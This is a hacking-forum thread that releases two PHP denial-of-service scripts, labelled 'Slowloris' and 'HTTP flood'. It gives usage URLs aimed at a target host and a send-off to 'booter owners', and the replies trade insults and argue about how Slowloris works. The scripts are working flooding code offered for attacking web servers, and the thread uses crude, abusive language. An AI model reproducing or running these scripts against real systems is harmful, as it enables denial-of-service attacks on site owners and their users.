Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

[Release]Slowloris/HTTP PHP Shell[Release]

Since my thread got deleted I have to repost it.

Well guys, since ChickenX is no longer running. We have decided to give our source code for our slowloris/http shell source. This is also due to Orgy being a noob and not giving us credit for the shells that he is using in his new twBooter, if we didn't send him our source, no one would have had this.

You brang this on yourself Orgy, all you had to do is give us credits, you go around acting asif you can code everything, but you really cant. You begged us, we told you to give us credit, you didnt.

Here they are:

Slowloris PHP Shell:
PHP Code

<?php
/* 
All credits go to LUKE from ChickenX
Best coder in my eyes - Matin
*/ 
$ip = $_GET['ip'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;

while(
1){
  if(
time() > $max_time){
    break;
  }

  
$fp = fsockopen($ip, 80, $errno, $errstr, 140);
  if (!
$fp) {
    echo 
"$errstr ($errno)<br />\n";
  } else {
    
$out = "POST / HTTP/1.1\r\n";
    
$out .= "Host: $ip\r\n";
    
$out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
    
$out .= "Content-Length: 42\r\n\r\n";

    
fwrite($fp, $out);
}
}
echo 
"Slowloris flood complete after: $exec_time seconds\n";
?>

Http PHP Shell
PHP Code

<?php
/* 
All credits go to LUKE from ChickenX
Best coder in my eyes - Matin
*/
$ip = $_GET['ip'];
$page = $_GET['page'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;

while(
1){
  if(
time() > $max_time){
    break;
  }

  
$fp = fsockopen("$ip", 80, $errno, $errstr, 30);
  if (!
$fp) {
    echo 
"$errstr ($errno)<br />\n";
  } else {
    
$out = "GET $page HTTP/1.1\r\n";
    
$out .= "Host: $ip\r\n";
    
$out .= "Accept: */*\r\n";
    
$out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n\r\n";
    
fwrite($fp, $out);
  }
}
echo 
"HTTP flood complete after: $exec_time seconds\n";
?>

Example of usage for slowloris: shell.php?&ip=www.blah.com&time=60
Example of usage for http: shell2.php?&ip=www.blah.com&time=60&page=/

These two scripts will rape webservers espically slowloris.

It's that simple - the 'best' php coder in hackforums (Orgy? lol.) couldn't even code this. Funny huh?

Have fun booter owners.
This isn't slowloris, It's a HTTP flood.
OH and although I wouldn't call orgy the Best PHP coder here he is good, You've produced a piece of shit that isn't even close to slowloris. Orgy is a good PHP coder as I've seen some of his work. You could dish the dirt on orgy if you could actually code a Slowloris Shell. Slowloris to work properly would require multithreading and to only send headers when needed to keep sockets open, You would also need to keep open hundreds or thosands of sockets. What I see here is a HTTP flooder than uses post.
This is getting beyond a joke, I refuse to keep coming back to this thread over and over again, this has to be like the 10th time today.
Next time I come to it, I will be issuing bans.
Closing for 10 minutes to make sure this has been seen.
http://ha.ckers.org/slowloris/
(Dec 10, 2010 04:06 PM)[CX]Luke Wrote:  You are REALLLY dumb.

'All I see is a HTTP flooder that uses post'

WTF do you think Slowloris is you idiot? It connects to the website and sends a post request with no data. Meaning it tricks Apache into waiting for the post data when nothing is actually coming.

'Slowloris to work properly would require multithreading and to only send headers'

When you have 3000 slowloris shells why would you need it to be multithreaded? From the little research I did(I haven't coded in PHP for yearsss), with PHPs fsockopen function it cannot be made multi-threaded. I would have had to use cUrl, which I didn't do because alot of servers don't have PHP which supports cUrl.

Please come back kid when you realise Slowloris actually uses 'HTTP'
Slwloris is a DoS attack, the idea it to take down an apache server with 1 computer using minimal server bandwidth. Flooding it from 3000 shells and raping the bandwidth destroys all the points of slowloris thus making you the idiot.

Go run some more msn accounts with your skidbot? While your at it realize slowloris is not a http flood.

From the offical site.
"In considering the ramifications of a slow denial of service attack against particular services, rather than flooding networks, a concept emerged that would allow a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports."

A http flood takes out the service by flooding it, Slowloris is not a flood. A flood is like a torrent of water not a slow inconsistent stream, Bk2School for you skid.
(Dec 10, 2010 05:12 PM)1 + 3 + 3 = 7 Wrote:  I might not know PHP, but I know when someone is talking out there arse. I also know who skiddie rippers are (you). Plz beg more.
Orgy is in no way a skiddie ripper, Infact the majority of shells used by HF kids were made by him.
No, he actually is. He tries to lead on that he knows how to code everything, but when he wants something that he doesnt know how to do, he begs. Just like he begged us for slowloris/http shell code.
Could i buy the chickenX Source?
(Dec 10, 2010 05:15 PM)Orgy Wrote:  1) I don't rip
2) I'm no skid
3) You don't know any language. Maybe SOME mIRC scripting (whatever language that is) but even Luke says you don't know shit, that he does everything and you're just his slave. Get owned.
You are a skid, for not giving luke any sort of credit for helping you. I might not know alot of languages, but I sure do know mIRC. You don't know how powerful it is, because you are dumb. You can do just about anything with it. As we have proved. Shell booter/Scanner/Uploader/WebServer w/e.
I honestly don't get why I'm getting called a dumbass for saying slowloris isn't a flood... Is it not logic that a flood is a large amount of packets coming in at a fast rate. Whereas SLOWloris Is a slow Denial of service attack sending infrequent HTTP headers. The idea isn't to keep opening new sockets send a HTTP header that keeps them open for a bit then when they close create new ones. The idea is to bind lots of sockets and keep the connection open by sending a header every X seconds.

(Dec 10, 2010 05:21 PM)1 + 3 + 3 = 7 Wrote:  You are a skid, for not giving luke any sort of credit for helping you. I might not know alot of languages, but I sure do know mIRC. You don't know how powerful it is, because you are dumb. You can do just about anything with it. As we have proved. Shell booter/Scanner/Uploader/WebServer w/e.
mIRC mSL isn't powerful it is an extremely high level language.
(Dec 10, 2010 05:34 PM)grimd34th Wrote:  so guys, itt: epeen lightsabers.

but i saw his source and raged so i think ill go convert the real slowloris source into php myself.
Yeah i think you should. He doesn't even know the difference between a HTTP flood and slowloris. When you do convert it be sure to sell it for $$$ :)
What has a loop got to do with keeping the connection alive?


Possibly Related Threads...
Thread / Author Replies Views Last Post
[PHP] by ShitTaker99Oct 21, 2013 12:51 PM 6 623 Oct 21, 2013 12:51 PM
Last Post: Vets
[PHP] by Ego IncAug 6, 2013 02:04 AM 25 855 Aug 6, 2013 02:04 AM
Last Post: Ego Inc
[PHP] by ClubsAug 22, 2012 06:42 AM 20 496 Aug 22, 2012 06:42 AM
Last Post: zupermen